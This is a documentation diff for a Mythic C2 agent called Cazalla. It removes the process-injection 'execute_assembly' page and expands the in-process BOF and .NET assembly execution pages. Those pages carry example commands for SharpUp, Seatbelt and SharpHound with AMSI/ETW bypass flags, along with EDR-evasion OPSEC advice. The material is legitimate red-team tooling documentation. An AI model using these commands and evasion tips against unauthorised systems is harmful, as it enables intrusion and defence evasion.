- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process
|
- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process
|
||||||
- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes
|
|
||||||
|
|
||||||
## Control Commands
|
## Control Commands
|
||||||
|
|
||||||
|
|||||||
@@ -1,109 +0,0 @@
|
|||||||
# execute_assembly - Execute .NET Assembly in Remote Process
|
|
||||||
|
|
||||||
Execute a .NET Assembly in a remote process and retrieve its output.
|
|
||||||
|
|
||||||
## Description
|
|
||||||
|
|
||||||
The `execute_assembly` command converts a .NET assembly to shellcode using Donut and injects it into a remote process (or the current process if no target is specified). The assembly is executed in the target process and its output is captured and returned.
|
|
||||||
|
|
||||||
## Syntax
|
|
||||||
|
|
||||||
```
|
|
||||||
execute_assembly -Assembly <assembly_file> -Arguments <args>
|
|
||||||
```
|
|
||||||
|
|
||||||
## Parameters
|
|
||||||
|
|
||||||
- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`)
|
|
||||||
- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute
|
|
||||||
- `-Arguments` or `assembly_arguments` (required): Arguments to pass to the assembly
|
|
||||||
|
|
||||||
## Examples
|
|
||||||
|
|
||||||
```
|
|
||||||
# Execute assembly with arguments
|
|
||||||
execute_assembly -Assembly SharpUp.exe -Arguments "audit"
|
|
||||||
|
|
||||||
# Execute Seatbelt with all checks
|
|
||||||
execute_assembly -Assembly Seatbelt.exe -Arguments "all"
|
|
||||||
|
|
||||||
# Execute SharpHound for domain enumeration
|
|
||||||
execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local"
|
|
||||||
```
|
|
||||||
|
|
||||||
## Features
|
|
||||||
|
|
||||||
- **Shellcode Conversion**: Automatically converts .NET assemblies to shellcode using Donut
|
|
||||||
- **Process Injection**: Injects shellcode into a target process (defaults to current process)
|
|
||||||
- **Output Capture**: Captures and returns assembly output
|
|
||||||
- **No File System**: Assembly is executed entirely in memory without writing to disk
|
|
||||||
|
|
||||||
## How It Works
|
|
||||||
|
|
||||||
1. The command retrieves the .NET assembly from Mythic
|
|
||||||
2. The assembly is converted to shellcode using Donut
|
|
||||||
3. A subtask is created to call `inject_shellcode` with the generated shellcode
|
|
||||||
4. The shellcode is injected into the target process
|
|
||||||
5. The .NET assembly is loaded and executed in the target process
|
|
||||||
6. Output is captured and returned to Mythic
|
|
||||||
|
|
||||||
## Output
|
|
||||||
|
|
||||||
```
|
|
||||||
[execute_assembly] Converting .NET Assembly to Shellcode...
|
|
||||||
[execute_assembly] Shellcode generated: 123456 bytes
|
|
||||||
[execute_assembly] Injecting shellcode into process...
|
|
||||||
[Assembly Output]
|
|
||||||
SharpUp execution started...
|
|
||||||
[*] Checking for insecure file permissions...
|
|
||||||
[+] Found: C:\Program Files\Vulnerable Service\service.exe
|
|
||||||
```
|
|
||||||
|
|
||||||
## OPSEC Considerations
|
|
||||||
|
|
||||||
- **HIGH OPSEC RISK**: Process injection is heavily monitored by EDR/XDR solutions
|
|
||||||
- **Shellcode Injection**: Donut shellcode injection may trigger behavioral detections
|
|
||||||
- **Process Create Artifact**: Creates a "Process Create" artifact
|
|
||||||
- **Memory Scanning**: Injected shellcode may be scanned by EDR memory protection
|
|
||||||
- **API Monitoring**: Process injection APIs (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) are monitored
|
|
||||||
- **Donut Detection**: Donut shellcode patterns may be detected by advanced security solutions
|
|
||||||
|
|
||||||
## Technical Details
|
|
||||||
|
|
||||||
### Donut Integration
|
|
||||||
|
|
||||||
The command uses Donut to convert .NET assemblies to position-independent shellcode:
|
|
||||||
- Automatically handles .NET assembly loading
|
|
||||||
- Supports .NET Framework and .NET Core assemblies
|
|
||||||
- Generates position-independent shellcode
|
|
||||||
- Handles assembly dependencies
|
|
||||||
|
|
||||||
### Process Injection
|
|
||||||
|
|
||||||
The shellcode injection process:
|
|
||||||
1. Shellcode is generated from the .NET assembly
|
|
||||||
2. Shellcode is registered as a temporary file in Mythic
|
|
||||||
3. `inject_shellcode` command is called via subtask
|
|
||||||
4. Shellcode is injected into the target process
|
|
||||||
5. Assembly executes and output is captured
|
|
||||||
|
|
||||||
## Error Handling
|
|
||||||
|
|
||||||
The command handles various error scenarios:
|
|
||||||
- **Assembly Not Found**: Returns error if assembly file cannot be retrieved
|
|
||||||
- **Donut Conversion Failure**: Returns error if assembly cannot be converted to shellcode
|
|
||||||
- **Injection Failure**: Returns error if shellcode cannot be injected
|
|
||||||
- **Execution Failure**: Returns error if assembly fails to execute
|
|
||||||
|
|
||||||
## Related
|
|
||||||
|
|
||||||
- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process (better OPSEC)
|
|
||||||
- [`inline_execute`](inline_execute.md) - Execute BOFs directly
|
|
||||||
- [Artifacts Support](../features.md#artifacts-support)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
**Command Category:** Execution & Control
|
|
||||||
**Requires Admin:** No (unless injecting into protected process)
|
|
||||||
**MITRE ATT&CK:** [T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/), [T1620 - Reflective Code Loading](https://attack.mitre.org/techniques/T1620/)
|
|
||||||
|
|
||||||
@@ -53,23 +53,26 @@ inline_execute -BOF custom_bof.x64.o -Arguments int32:5678
|
|||||||
|
|
||||||
## Output
|
## Output
|
||||||
|
|
||||||
|
The command returns the output captured from the BOF via `BeaconPrintf` or `BeaconOutput`:
|
||||||
|
|
||||||
```
|
```
|
||||||
[inline_execute] BOF execution requested
|
|
||||||
[inline_execute] File ID: abc123...
|
|
||||||
[inline_execute] Arguments: int32:1234
|
|
||||||
[BOF Output]
|
[BOF Output]
|
||||||
Module Name: ntdll.dll
|
Module Name: ntdll.dll
|
||||||
Base Address: 0x7ffa12340000
|
Base Address: 0x7ffa12340000
|
||||||
Size: 0x1f0000
|
Size: 0x1f0000
|
||||||
```
|
```
|
||||||
|
|
||||||
|
If the BOF produces no output, the command will indicate successful execution.
|
||||||
|
|
||||||
## OPSEC Considerations
|
## OPSEC Considerations
|
||||||
|
|
||||||
- **Process Create Artifact**: BOF execution creates a "Process Create" artifact that is logged
|
- **MEDIUM OPSEC RISK**: In-process execution reduces some detection vectors compared to process spawning
|
||||||
- **Memory Allocation**: BOFs allocate executable memory which may be detected by EDR solutions
|
- **Process Create Artifact**: BOF execution creates a "Process Create" artifact that is logged in Mythic
|
||||||
- **API Hooking**: Some EDR solutions monitor API calls that BOFs make
|
- **Memory Allocation**: BOFs allocate executable memory (PAGE_EXECUTE_READWRITE) which may be detected by EDR solutions
|
||||||
- **Symbol Resolution**: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged
|
- **API Monitoring**: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged by EDR/XDR
|
||||||
- **No New Process**: Unlike `shell` or `execute_assembly`, BOFs execute in-process, reducing some detection vectors
|
- **Memory Scanning**: Allocated executable memory may be scanned by EDR memory protection features
|
||||||
|
- **No New Process**: Unlike `shell`, BOFs execute in-process, reducing some detection vectors
|
||||||
|
- **Thread Isolation**: BOFs execute in a separate thread with a 30-second timeout to prevent agent crashes
|
||||||
|
|
||||||
## Technical Details
|
## Technical Details
|
||||||
|
|
||||||
@@ -82,16 +85,32 @@ The COFF loader implementation:
|
|||||||
- Resolves external symbols via LoadLibraryA/GetProcAddress
|
- Resolves external symbols via LoadLibraryA/GetProcAddress
|
||||||
- Maps sections with PAGE_EXECUTE_READWRITE permissions
|
- Maps sections with PAGE_EXECUTE_READWRITE permissions
|
||||||
|
|
||||||
|
### Thread Isolation
|
||||||
|
|
||||||
|
BOFs are executed in a separate thread to prevent agent crashes:
|
||||||
|
- **Timeout**: 30-second timeout for BOF execution
|
||||||
|
- **Thread Termination**: If BOF hangs, the thread is terminated after timeout
|
||||||
|
- **Output Capture**: Output is captured even if BOF hangs or times out
|
||||||
|
- **Agent Stability**: Main agent thread continues to function even if BOF crashes
|
||||||
|
|
||||||
### Beacon API Compatibility
|
### Beacon API Compatibility
|
||||||
|
|
||||||
The following Beacon API functions are supported:
|
The following Beacon API functions are supported:
|
||||||
- `BeaconPrintf` - Formatted output
|
- `BeaconPrintf` - Formatted output (captured and returned)
|
||||||
- `BeaconOutput` - Raw output
|
- `BeaconOutput` - Raw output (captured and returned)
|
||||||
- `BeaconDataParse` - Parse input data
|
- `BeaconDataParse` - Parse input data
|
||||||
- `BeaconDataInt`, `BeaconDataShort`, `BeaconDataExtract` - Data extraction
|
- `BeaconDataInt`, `BeaconDataShort`, `BeaconDataExtract` - Data extraction
|
||||||
- `BeaconUseToken`, `BeaconRevertToken` - Token manipulation
|
- `BeaconUseToken`, `BeaconRevertToken` - Token manipulation
|
||||||
- `BeaconIsAdmin` - Admin check
|
- `BeaconIsAdmin` - Admin check
|
||||||
|
|
||||||
|
### Argument Serialization
|
||||||
|
|
||||||
|
Arguments are serialized using the Packer class format:
|
||||||
|
- Each argument is prefixed with its size (4 bytes, little-endian)
|
||||||
|
- Arguments are packed sequentially: `[size:4][data][size:4][data]...`
|
||||||
|
- The total buffer size is prepended to the argument buffer
|
||||||
|
- Boolean values are converted to integers (0 or 1) before serialization
|
||||||
|
|
||||||
## Error Handling
|
## Error Handling
|
||||||
|
|
||||||
The command handles various error scenarios:
|
The command handles various error scenarios:
|
||||||
@@ -103,7 +122,6 @@ The command handles various error scenarios:
|
|||||||
## Related
|
## Related
|
||||||
|
|
||||||
- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process
|
- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process
|
||||||
- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes
|
|
||||||
- [Artifacts Support](../features.md#artifacts-support)
|
- [Artifacts Support](../features.md#artifacts-support)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|||||||
@@ -45,32 +45,40 @@ inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All" --patchexit
|
|||||||
|
|
||||||
## How It Works
|
## How It Works
|
||||||
|
|
||||||
1. The command creates a subtask that calls `inline_execute` with the Inline-EA BOF
|
1. The command retrieves the .NET assembly from Mythic
|
||||||
2. The .NET assembly is passed to the BOF as raw bytes
|
2. The command searches for the Inline-EA BOF (`inline-ea.x64.o`) in Mythic's file store
|
||||||
3. The BOF loads the assembly into memory using .NET CLR APIs
|
3. A subtask is created that calls `inline_execute` with the Inline-EA BOF
|
||||||
4. Optional bypasses (AMSI, ETW) are applied if requested
|
4. The .NET assembly is passed to the BOF as raw bytes (hex-encoded)
|
||||||
5. The assembly's entry point is executed with the provided arguments
|
5. The BOF loads the assembly into memory using .NET CLR APIs
|
||||||
6. Output is captured and returned to Mythic
|
6. Optional bypasses (AMSI, ETW) are applied if requested via flags
|
||||||
|
7. The assembly's entry point is executed with the provided arguments
|
||||||
|
8. Output is captured via `BeaconPrintf` and returned to the parent task through a completion callback
|
||||||
|
9. The completion callback aggregates the output and displays it in the main command
|
||||||
|
|
||||||
## Output
|
## Output
|
||||||
|
|
||||||
|
The command returns the output from the .NET assembly execution:
|
||||||
|
|
||||||
```
|
```
|
||||||
[inline_execute_assembly] Assembly execution requested
|
|
||||||
[BOF Output from Inline-EA]
|
|
||||||
SharpUp execution started...
|
SharpUp execution started...
|
||||||
[*] Checking for insecure file permissions...
|
[*] Checking for insecure file permissions...
|
||||||
[*] Checking for unquoted service paths...
|
[*] Checking for unquoted service paths...
|
||||||
[+] Found: C:\Program Files\Vulnerable Service\service.exe
|
[+] Found: C:\Program Files\Vulnerable Service\service.exe
|
||||||
|
[*] Completed Privesc Checks in 17 seconds
|
||||||
```
|
```
|
||||||
|
|
||||||
|
The output is captured from the Inline-EA BOF execution and displayed directly in the main command (not as a subtask).
|
||||||
|
|
||||||
## OPSEC Considerations
|
## OPSEC Considerations
|
||||||
|
|
||||||
- **Process Create Artifact**: Assembly execution creates a "Process Create" artifact
|
- **MEDIUM OPSEC RISK**: In-process execution provides better OPSEC than process spawning (no process injection)
|
||||||
|
- **Process Create Artifact**: Assembly execution creates a "Process Create" artifact that is logged in Mythic
|
||||||
- **CLR Loading**: Loading .NET assemblies into memory may be detected by EDR solutions
|
- **CLR Loading**: Loading .NET assemblies into memory may be detected by EDR solutions
|
||||||
- **AMSI Bypass**: Patching clr.dll for AMSI bypass may trigger behavioral detections
|
- **AMSI Bypass**: Patching `clr.dll` for AMSI bypass may trigger behavioral detections (more evasive than patching `amsi.dll`)
|
||||||
- **ETW Bypass**: EAT hooking may be detected by advanced EDR solutions
|
- **ETW Bypass**: EAT hooking `advapi32.dll!EventWrite` may be detected by advanced EDR solutions
|
||||||
- **No New Process**: Executes in-process, reducing some detection vectors compared to `execute_assembly`
|
- **No New Process**: Executes in-process, reducing some detection vectors compared to process spawning
|
||||||
- **Memory Allocation**: Allocates executable memory for the assembly, which may be scanned
|
- **Memory Allocation**: Allocates executable memory for the assembly, which may be scanned by EDR
|
||||||
|
- **Thread Isolation**: BOF execution runs in a separate thread with timeout protection
|
||||||
|
|
||||||
## Technical Details
|
## Technical Details
|
||||||
|
|
||||||
@@ -84,22 +92,25 @@ This command uses the Inline-EA BOF developed by @EricEsquivel:
|
|||||||
|
|
||||||
### Bypass Options
|
### Bypass Options
|
||||||
|
|
||||||
- **--patchexit**: Patches `System.Environment.Exit` to prevent the assembly from terminating the agent process
|
- **--patchexit**: Patches `System.Environment.Exit` to prevent the assembly from terminating the agent process. Default: `false`
|
||||||
- **--amsi**: Bypasses AMSI by patching `clr.dll` instead of `amsi.dll` (more evasive)
|
- **--amsi**: Bypasses AMSI by patching `clr.dll` instead of `amsi.dll` (more evasive than traditional AMSI bypasses). Default: `false`
|
||||||
- **--etw**: Bypasses ETW by hooking `advapi32.dll!EventWrite` via Export Address Table (EAT) hooking
|
- **--etw**: Bypasses ETW by hooking `advapi32.dll!EventWrite` via Export Address Table (EAT) hooking. Default: `false`
|
||||||
|
|
||||||
|
**Note**: Boolean flags (`--amsi`, `--etw`, `--patchexit`) are automatically converted to integers (0 or 1) for the BOF.
|
||||||
|
|
||||||
## Error Handling
|
## Error Handling
|
||||||
|
|
||||||
The command handles various error scenarios:
|
The command handles various error scenarios:
|
||||||
- **Assembly Not Found**: Returns error if assembly file cannot be retrieved from Mythic
|
- **Assembly Not Found**: Returns error if assembly file cannot be retrieved from Mythic
|
||||||
|
- **BOF Not Found**: Returns error if Inline-EA BOF (`inline-ea.x64.o`) is not found in Mythic's file store
|
||||||
- **BOF Execution Failure**: Returns error if Inline-EA BOF cannot be executed
|
- **BOF Execution Failure**: Returns error if Inline-EA BOF cannot be executed
|
||||||
- **Assembly Load Failure**: Returns error if .NET assembly cannot be loaded
|
- **Assembly Load Failure**: Returns error if .NET assembly cannot be loaded
|
||||||
- **Bypass Failure**: May fail silently if bypasses cannot be applied
|
- **Bypass Failure**: May fail silently if bypasses cannot be applied
|
||||||
|
- **Timeout**: If BOF execution hangs, it will timeout after 30 seconds and output will still be captured
|
||||||
|
|
||||||
## Related
|
## Related
|
||||||
|
|
||||||
- [`inline_execute`](inline_execute.md) - Execute BOFs directly
|
- [`inline_execute`](inline_execute.md) - Execute BOFs directly
|
||||||
- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes
|
|
||||||
- [Artifacts Support](../features.md#artifacts-support)
|
- [Artifacts Support](../features.md#artifacts-support)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|||||||
@@ -494,6 +494,41 @@ keylog_start
|
|||||||
keylog_stop
|
keylog_stop
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### BOF Execution
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Execute a BOF with no arguments
|
||||||
|
inline_execute -BOF whoami.x64.o
|
||||||
|
|
||||||
|
# Execute a BOF with integer argument
|
||||||
|
inline_execute -BOF listmods.x64.o -Arguments int32:1234
|
||||||
|
|
||||||
|
# Execute a BOF with multiple arguments
|
||||||
|
inline_execute -BOF netstat.x64.o -Arguments int32:4 string:TCP
|
||||||
|
|
||||||
|
# Execute a BOF with base64-encoded data
|
||||||
|
inline_execute -BOF custom_bof.x64.o -Arguments base64:YWJjZGVm
|
||||||
|
```
|
||||||
|
|
||||||
|
### .NET Assembly Execution (In-Process)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Execute assembly with arguments
|
||||||
|
inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit"
|
||||||
|
|
||||||
|
# Execute with AMSI and ETW bypass
|
||||||
|
inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw
|
||||||
|
|
||||||
|
# Execute with all bypasses enabled
|
||||||
|
inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" --patchexit --amsi --etw
|
||||||
|
|
||||||
|
# Execute privilege escalation check
|
||||||
|
inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit
|
||||||
|
|
||||||
|
# Execute domain enumeration
|
||||||
|
inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" --amsi --etw
|
||||||
|
```
|
||||||
|
|
||||||
### Complete Post-Exploitation Workflow
|
### Complete Post-Exploitation Workflow
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
@@ -608,6 +643,26 @@ whoami
|
|||||||
# (Commands run with domain credentials if token selected)
|
# (Commands run with domain credentials if token selected)
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### Code Execution Workflow
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1. Execute a BOF for lightweight operations
|
||||||
|
inline_execute -BOF whoami.x64.o
|
||||||
|
inline_execute -BOF listmods.x64.o -Arguments int32:1234
|
||||||
|
|
||||||
|
# 2. Execute .NET assembly for privilege escalation
|
||||||
|
inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit
|
||||||
|
|
||||||
|
# 3. Execute .NET assembly with bypasses for enumeration
|
||||||
|
inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw
|
||||||
|
|
||||||
|
# 4. Execute domain enumeration
|
||||||
|
inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" --amsi --etw
|
||||||
|
|
||||||
|
# Note: inline_execute_assembly provides better OPSEC than process spawning
|
||||||
|
# (no process injection, in-process execution)
|
||||||
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Tips and Best Practices
|
## Tips and Best Practices
|
||||||
|
|||||||
@@ -155,7 +155,6 @@ Cazalla automatically reports artifacts created during command execution, allowi
|
|||||||
| **Process Create** | `shell` | Command execution via cmd.exe |
|
| **Process Create** | `shell` | Command execution via cmd.exe |
|
||||||
| **Process Create** | `inline_execute` | BOF execution in current process |
|
| **Process Create** | `inline_execute` | BOF execution in current process |
|
||||||
| **Process Create** | `inline_execute_assembly` | .NET assembly execution in-process |
|
| **Process Create** | `inline_execute_assembly` | .NET assembly execution in-process |
|
||||||
| **Process Create** | `execute_assembly` | .NET assembly execution via process injection |
|
|
||||||
| **File Write** | `cp`, `mkdir`, `upload` | File creation or modification |
|
| **File Write** | `cp`, `mkdir`, `upload` | File creation or modification |
|
||||||
| **File Delete** | `rm` | File or directory deletion |
|
| **File Delete** | `rm` | File or directory deletion |
|
||||||
| **File Read** | `download` | File download operations |
|
| **File Read** | `download` | File download operations |
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
title = "Logging & Syslog"
|
title = "Logging & Syslog"
|
||||||
chapter = false
|
chapter = false
|
||||||
weight = 50
|
weight = 50
|
||||||
pre = "6. "
|
pre = "7. "
|
||||||
+++
|
+++
|
||||||
|
|
||||||
# 📊 Logging & Syslog
|
# 📊 Logging & Syslog
|
||||||
|
|||||||
@@ -78,7 +78,6 @@ These commands are **highly detectable** and require careful consideration:
|
|||||||
| Command | Risk Level | Detection Likelihood | Alternatives |
|
| Command | Risk Level | Detection Likelihood | Alternatives |
|
||||||
|---------|-----------|---------------------|--------------|
|
|---------|-----------|---------------------|--------------|
|
||||||
| `shell` | HIGH | High (cmd.exe spawn) | Use built-in Cazalla commands when possible |
|
| `shell` | HIGH | High (cmd.exe spawn) | Use built-in Cazalla commands when possible |
|
||||||
| `execute_assembly` | HIGH | High (process injection, Donut shellcode) | `inline_execute_assembly` for in-process execution |
|
|
||||||
| `steal_token` | HIGH | High (EDR/XDR monitoring) | `make_token` when credentials available |
|
| `steal_token` | HIGH | High (EDR/XDR monitoring) | `make_token` when credentials available |
|
||||||
| `rm` (system files) | HIGH | Blocked for safety | Never delete system files |
|
| `rm` (system files) | HIGH | Blocked for safety | Never delete system files |
|
||||||
| `screenshot` | HIGH | Screen capture detection | Use sparingly, consider timing |
|
| `screenshot` | HIGH | Screen capture detection | Use sparingly, consider timing |
|
||||||
@@ -90,7 +89,7 @@ These commands have **moderate detection risk**:
|
|||||||
| Command | Risk Level | Detection Likelihood | Notes |
|
| Command | Risk Level | Detection Likelihood | Notes |
|
||||||
|---------|-----------|---------------------|-------|
|
|---------|-----------|---------------------|-------|
|
||||||
| `inline_execute` | MEDIUM | Memory allocation, API calls | In-process execution reduces some detection vectors |
|
| `inline_execute` | MEDIUM | Memory allocation, API calls | In-process execution reduces some detection vectors |
|
||||||
| `inline_execute_assembly` | MEDIUM | CLR loading, memory allocation | Better OPSEC than `execute_assembly` (no process injection) |
|
| `inline_execute_assembly` | MEDIUM | CLR loading, memory allocation | In-process execution (no process injection) |
|
||||||
| `download` | MEDIUM | File access logging | Large files may trigger DLP |
|
| `download` | MEDIUM | File access logging | Large files may trigger DLP |
|
||||||
| `upload` | MEDIUM | File write detection | Suspicious extensions monitored |
|
| `upload` | MEDIUM | File write detection | Suspicious extensions monitored |
|
||||||
| `socks` | MEDIUM | Network traffic analysis | High bandwidth usage |
|
| `socks` | MEDIUM | Network traffic analysis | High bandwidth usage |
|
||||||
@@ -118,7 +117,6 @@ These commands have **low detection risk**:
|
|||||||
**Endpoint Detection and Response (EDR)** and **Extended Detection and Response (XDR)** solutions monitor:
|
**Endpoint Detection and Response (EDR)** and **Extended Detection and Response (XDR)** solutions monitor:
|
||||||
|
|
||||||
- **Process Creation**: `shell` command spawns `cmd.exe` (highly monitored)
|
- **Process Creation**: `shell` command spawns `cmd.exe` (highly monitored)
|
||||||
- **Process Injection**: `execute_assembly` uses Donut shellcode injection (heavily monitored)
|
|
||||||
- **Memory Allocation**: `inline_execute` and `inline_execute_assembly` allocate executable memory (may be scanned)
|
- **Memory Allocation**: `inline_execute` and `inline_execute_assembly` allocate executable memory (may be scanned)
|
||||||
- **CLR Loading**: Loading .NET assemblies into memory may trigger EDR detections
|
- **CLR Loading**: Loading .NET assemblies into memory may trigger EDR detections
|
||||||
- **Token Manipulation**: `steal_token` and `make_token` generate authentication events
|
- **Token Manipulation**: `steal_token` and `make_token` generate authentication events
|
||||||
@@ -128,7 +126,7 @@ These commands have **low detection risk**:
|
|||||||
|
|
||||||
**Mitigation Strategies:**
|
**Mitigation Strategies:**
|
||||||
- Use built-in Cazalla commands instead of `shell` when possible
|
- Use built-in Cazalla commands instead of `shell` when possible
|
||||||
- Prefer `inline_execute_assembly` over `execute_assembly` for better OPSEC (in-process vs process injection)
|
- Use `inline_execute_assembly` for .NET assembly execution (in-process, no process injection)
|
||||||
- Use `inline_execute` for BOFs when possible (no process creation)
|
- Use `inline_execute` for BOFs when possible (no process creation)
|
||||||
- Prefer `make_token` over `steal_token` when credentials are available
|
- Prefer `make_token` over `steal_token` when credentials are available
|
||||||
- Avoid accessing LSASS or other critical system processes
|
- Avoid accessing LSASS or other critical system processes
|
||||||
@@ -339,12 +337,7 @@ Built-in Cazalla commands:
|
|||||||
#### `inline_execute_assembly`
|
#### `inline_execute_assembly`
|
||||||
- **Risk**: MEDIUM
|
- **Risk**: MEDIUM
|
||||||
- **Detection**: CLR loading, memory allocation, AMSI/ETW bypass attempts may trigger behavioral detections
|
- **Detection**: CLR loading, memory allocation, AMSI/ETW bypass attempts may trigger behavioral detections
|
||||||
- **Best Practice**: Better OPSEC than `execute_assembly` (no process injection). Use `--amsi` and `--etw` flags when needed, but be aware they may be detected.
|
- **Best Practice**: In-process execution (no process injection). Use `--amsi` and `--etw` flags when needed, but be aware they may be detected.
|
||||||
|
|
||||||
#### `execute_assembly`
|
|
||||||
- **Risk**: HIGH
|
|
||||||
- **Detection**: Process injection (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread), Donut shellcode patterns, memory scanning
|
|
||||||
- **Best Practice**: Use only when necessary. Prefer `inline_execute_assembly` for better OPSEC. High detection risk due to process injection techniques.
|
|
||||||
|
|
||||||
#### `rev2self`
|
#### `rev2self`
|
||||||
- **Risk**: LOW
|
- **Risk**: LOW
|
||||||
|
|||||||
Reference in New Issue
Block a user